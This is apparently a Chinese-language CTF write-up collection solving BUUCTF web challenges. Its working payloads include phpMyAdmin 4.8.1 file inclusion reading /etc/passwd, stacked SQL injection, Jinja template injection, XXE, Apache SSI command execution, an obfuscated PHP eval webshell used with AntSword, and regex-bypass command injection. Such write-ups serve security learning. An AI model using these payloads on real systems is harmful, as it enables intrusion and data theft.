[GWCTF 2019]我有一个数据库
考点是phpmyadmin
进入该页面
phpmyadmin4.8.0-4.8.1存在文件包含漏洞
使用网上的payload直接打
先测试能不能用该数据库
payload
?target=db_datadict.php%253f/../../../../../../../../etc/passwd
发现有回显后我们改成flag
http://57a7979b-f822-4a63-8bcb-3e76fa076462.node4.buuoj.cn/phpmyadmin/?target=db_datadict.php%253f/../../../../../../../../flag
[GYCTF2020]Blacklist
考点堆叠注入
结合之前做过的题首先看数据库
1';show database;#
看表
1';show tables;#
发现关键信息后继续#FlagHere
1';show columns from `FlagHere`;
之后发现flag
至于怎末读取
这里我们用到handler这个东西
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#
[BJDCTF2020]Mark loves cat
开局没发现啥,扫一下目录,发现git源码泄露
直接把源码放下面了
flag.php
<?php
$flag = file_get_contents('/flag');
index.py里的关键代码
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
看着有点眼熟,依稀记得以前做过类似的,是变量赋盖漏洞
为了以后方便学习,贴一个备注版的源码
<?php
include'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_GET as $x => $y){ //get传值
$$x = $$y; //漏洞在这里 比如输入 yds=flag 相当于 $yds=$flag
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){ //判断get传进来的值等不等于flag 如果等于flag则跳过
exit($handsome);
}
}
//检测get是否为flag 或者post是否为flag 必须两方都为假 否则输出$yds
//通过这里我们就可以结合前面的来构造 既然要输出$yds所以我们想办法让$flag的值赋值给$yds
//构造yds=flag GET传输 在经过第一个foreach的时候进行了赋值 等于进行了这样的一个操作$yds=$flag
//所以这个条件为真就可以输出flag了。
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
//
//检测POST flag是否为flag 或者get 是否为flag //至少有一个为真则为真
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
?>
第二个条件最简单,只要保证post的flag和get的flag变量没被用过就行。输出的yds
,所以我们只要get
请求‘yds=flag‘
就行了,就会把yds,所以我们只要get请求yds=flag
就行了,所以我们只要get请求‘yds=flag‘就行了
[ASIS 2019]Unicorn shop
网页是一个购买网站,我们出价要大于用户四的1337,我传入个比较大的数字显示只能输入一个数字,
考点unicode编码安全问题
我们可以用别的语言来表示数字
可以在其他网站搜一下
payload
id=4&price=%E2%86%82 //ↂ
[BSidesCF 2019]Futurella
神魔鬼,F12直接flag
???
[BJDCTF2020]EasySearch
开始是一个登陆界面
[WesternCTF2018]shrine
启动靶机后页面时一串字符
import flask import os app = flask.Flask(name) app.config[‘FLAG’] = os.environ.pop(‘FLAG’) @app.route(’/’) def index(): return open(file).read() @app.route(’/shrine/’) def shrine(shrine): def safe_jinja(s): s = s.replace(’(’, ‘’).replace(’)’, ‘’) blacklist = [‘config’, ‘self’] return ‘’.join([’{{% set {}=None%}}’.format© for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if name == ‘main’: app.run(debug=True)
可以看到有flask的字样,考虑到模板注入,看一下源码
<html><head></head><body>import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
</path:shrine></body></html>
代码中给出了两个路由,第一个是用来显示源代码的
第二个路由在/shrine/路径下提交参数
于是我们测试一下
http://4263fcf1-b81c-4a4f-a70a-f5aefe3247ae.node4.buuoj.cn:81/shrine/%7B%7B7*7%7D%7D
回显了49说明是可行的
看源码app.config['FLAG'] = os.environ.pop('FLAG')
推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for
和get_flashed_messages
我们试一下其他的方式
{{url_for.__globals__}}
发现’current_app’时当前app
我们可以尝试看一下当前app的config
{{url_for.__globals__['current_app'].config['FLAG']}}
就可以读出来flag
[NCTF2019]Fake XML cookbook
考点XXE,我们打开界面是一个登陆网站,登陆一下进行抓包
对于这个考点,之前比赛是很少见的,我们先了解一下它考的什么:
XXE漏洞全称XML External Entity Injection 即XML外部实体注入。
XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件和代码,造成任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。
XXE漏洞触发的点往往是可以上传xml文件的位置,没有对上传的xml文件进行过滤,导致可上传恶意xml文件。
XXE常见利用方式
与SQL相似,XXE漏洞也分为有回显和无回显
有回显,可以直接在页面中看到payload的执行结果或现象。
无回显,又称为blind xxe,可以使用外带数据(OOB)通道提取数据。即可以引用远程服务器上的XML文件读取文件。
解析xml在php库libxml,libxml>=2.9.0的版本中没有XXE漏洞
抓包后发现里面存在一个XML实体,我们可以构造恶意代码来进行读取
//在referer后面可以
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [
<!ENTITY admin SYSTEM "file:///etc/passwd">
]>
<user><username>&admin;</username><password>123456</password></user>
之后应该是可以读取的,但昨天试了一下不知到为什么不行
先听到这里
[BJDCTF2020]EasySearch
diserch扫一下目录,发现源码网址
index.php.swp
<?php
ob_start();
function get_hash(){
$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';
$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times
$content = uniqid().$random;
return sha1($content);
}
header("Content-Type: text/html;charset=utf-8");
***
if(isset($_POST['username']) and $_POST['username'] != '' )
{
$admin = '6d0bc1';
if ( $admin == substr(md5($_POST['password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
$file_shtml = "public/".get_hash().".shtml";
$shtml = fopen($file_shtml, "w") or die("Unable to open file!");
$text = '
***
***
<h1>Hello,'.$_POST['username'].'</h1>
***
***';
fwrite($shtml,$text);
fclose($shtml);
***
echo "[!] Header error ...";
} else {
echo "<script>alert('[!] Failed')</script>";
}else
{
***
}
***
?>
可以看到源码说,密码的前六位的加密值要与admin的值相等即为6d0bc1
接着再public目录下生成一个.shtml后缀的文件,并且把post传的username的值传进去
用一下大佬写的脚本
import hashlib
import threading
string = '0123456789'
class BF(threading.Thread):
def __init__(self,left,right):
threading.Thread.__init__(self) #父类的构造方法
self.left = left
self.right = right
def run(self):
admin = '6d0bc1'
for i in range(self.left,self.right):
s = hashlib.md5(str(i).encode('utf-8')).hexdigest()
if s[:6] == admin:
print i
threads = []
thread_count = 5
for i in range(thread_count):
threads.append(BF(i*2000000, (i+1)*2000000))
for t in threads:
t.start()
for t in threads:
t.join()
C:\Users\XINO\AppData\Local\Programs\Python\Python39\python.exe “C:/Users/XINO/Desktop/新建文件夹 (7)/11111.py”
2020666
2305004
9162671
应该都是可以的,于是我们进行一下登录
进去后啥都没有,F12随便找找
Url_is_here public/342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml
于是我们访问一下,进去之后就是一个页面F12里也没啥,到这就不会了,看大佬WP
考点APache ssi远程命令执行漏洞
贴一个普及的博客
https://www.cnblogs.com/yuzly/p/11226439.html
于是我们现在尝试怎么利用漏洞,由于该漏洞利用的也是命令执行,所以我们要找到一个输入点
之前看源码发现有username可以输入
<!--#exec cmd="whoami"-->
注意是先在index传,在访问指定的url
看目录
<!--#exec cmd="ls"-->
Hello,0161fc8dcbf1189a5f1881dd79c47f89a58f222c.shtml
2b88015534a75975d2f8f95ba084719b8274e017.shtml
3302438afa907b9aa614d73ad2694b92866b7c06.shtml
335b60ba403aeb21ad0d979bae80c57fd22f54e4.shtml
342c8b6ba61e61c5532a9ac9bb513aab94c5bf2e.shtml
43dcc2f755a6e2331b7a844945c4278b3596d145.shtml
462ad7b3f27588373c66be19b7743e24329fb62e.shtml
4832698852f8f52d76e7e6f1eb69ea7ca22aea74.shtml
4e7f05ec199f63667038ffdeddea53c2d2f639a9.shtml
4f670e0c9752c763b9390c5510cf5fd4130f492b.shtml
5984650723829d97142cb3824af29617b119333c.shtml
5be67cb14a7873f7db9bbbb85fa6bb63ec586ac1.shtml
5c18f23485bc4b4089a6b955ce97fbe63957e0d9.shtml
79e08579dc072805ad10e591e90033af8aa16ff0.shtml
7d18f0c4430d10af80a08d606750dfa831ea9443.shtml
84a8d94e808267e28ce8c8caf975c86f53d4cfaf.shtml
86919bd890c1e69dee60ebc985df7b2a353fc3e5.shtml
af5e03222c8251c2ebbbd9a24f18e88fbe38e69b.shtml
c28ede2a2ff0e21643a1c6604cc2d1a216a48211.shtml
css
e094e1247c44f2212aa221bacbcedf8f393750ad.shtml
e320da6214cd5c8854a6656bcf0ca6223b223b57.shtml
全是些没用的东西,看看上级目录
<!--#exec cmd="ls ../"-->
发现flag文件后再
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->
[极客大挑战 2019]RCE ME
这个题目先放源码
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}
// ?>
限制了长度,限制了字符数字标点符号
这里考虑url编码取反绕过
php -r "var_dump(urlencode(~'phpinfo'));"
#"%8F%97%8F%96%91%99%90"
payload: ?code=(~%8F%97%8F%96%91%99%90)();
然后成功查看php相关信息,到这就不会了
看wp
构造shell连蚁剑
<?php
error_reporting(0);
$a='assert';
$b=urlencode(~$a);
echo $b;
echo "<br>";
$c='(eval($_POST[mochu7]))';
$d=urlencode(~$c);
echo $d;
?>
本地测试发现可以
payload
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
之后测试发现是可以的
http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
所以我们直接尝试菜刀连接
链接地址
http://c97ce45c-ec73-4fe4-9185-694f4818de0e.node4.buuoj.cn:81/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%92%90%9C%97%8A%C8%A2%D6%D6);
我们连接后发现根目录会有flag,但是打不开很奇怪,然后还有个readflag
我猜测是执行readflag来获取flag
但之前字符都被过滤了,这要怎么搞搜索得知要绕过dis这个限制函数,可以利用上传权限来传exp,但我看蚁剑有带的,所以我们用现成的
选择PHP_GC_UAF模式
直接/readflag
出flag
[BSidesCF 2019]Kookie
cookie注入
Log in as admin!
We found the account cookie / monster
一个登陆界面
根据提示使用admin进行任意密码登录,发现url中以username传参
添加个cookie:username=admin
flag{95b08dc2-cdc5-45fa-ad08-f0e9aa1d1807}
[FBCTF2019]RCEService
Enter command as JSON:
让我们以JSON格式提交数据,我对其的理解就是提交一个值对键的格式
例如
?cmd={"cmd":"ls"}
传进去后发现检测到我们恶意命令
我们可以看下题目源码
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
几乎所有命令都被禁止了,我们要尝试绕过
1.可以使用换行符%0a绕过
利用的是preg_match只识别第一行
我们可以构造payload//注意直接提交会进行url编码
?cmd={%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}
第二种解法是看大佬们用PRCE解
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag","test":"' + "a"*(1000000) + '"}'
res = requests.post("http://ad66432f-4628-41f6-8190-d9b9c247904c.node3.buuoj.cn/", data={"cmd":payload})
#print(payload)
print(res.text)
这样也是可以的,值得研究一下